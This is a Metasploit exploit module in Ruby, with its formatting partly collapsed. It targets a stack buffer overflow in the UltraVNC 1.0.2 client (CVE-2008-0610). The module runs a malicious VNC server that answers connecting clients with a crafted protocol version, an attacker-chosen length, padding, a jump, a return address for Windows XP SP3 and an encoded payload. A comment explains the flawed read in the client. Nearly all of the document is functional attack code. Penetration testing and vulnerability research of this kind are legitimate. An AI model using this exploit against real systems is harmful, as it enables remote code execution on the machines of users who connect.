### $Id$##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow','Description'=> %q{
This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.If a malicious server responds to a client connection indicating a minor
protocol version of 14 or 16, a 32-bit integer is subsequently read from
the TCP stream by the client and directly provided as the trusted size for
further reading from the TCP stream into a 1024-byte character array on
the stack.},'Author' => 'noperand','License'=> MSF_LICENSE,'Version'=> '$Revision$','References' =>
[['CVE','2008-0610'],['OSVDB','42840'],['BID','27561'],],'DefaultOptions' =>
{'EXITFUNC' => 'thread',},'Payload'=>
{'Space'=> 500,},'Platform' => 'win','Targets'=>
[['Windows XP SP3',{'Ret' => 0x00421a61 }],# vncviewer.exe, 1.0.2],'Privileged' => false,'DisclosureDate' => 'Feb 6 2008','DefaultTarget'=> 0))
register_options([
OptPort.new('SRVPORT',[ true,"The VNCServer daemon port to listen on", 5900 ])], self.class)end
def on_client_connect(client)returnif((p = regenerate_payload(client)) == nil)
sploit = rand_text_alpha(1100)# junk, could be more efficient here
sploit << "\x00\x04\x00\x00"# value to get around a write
sploit << rand_text_alpha(12)# random junk
sploit << "\xEB\x06" << make_nops(2)# short relative jump
sploit << [target.ret].pack('V')# pop/pop/ret (default is in vncviewer.exe)
sploit << payload.encoded
=begin
We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
- These bytes are read directly by a call to ReadExact() with a size of 12.
...
if (m_minorVersion == 14 || m_minorVersion == 16)
{
int size;
ReadExact((char *)&size,sizeof(int));
char mytext[1024]; //10k
ReadExact(mytext,size);
mytext[size]=0;
...
If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
We then append our data.
=end
sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
client.put(sploit)
handler(client)
service.close_client(client)endend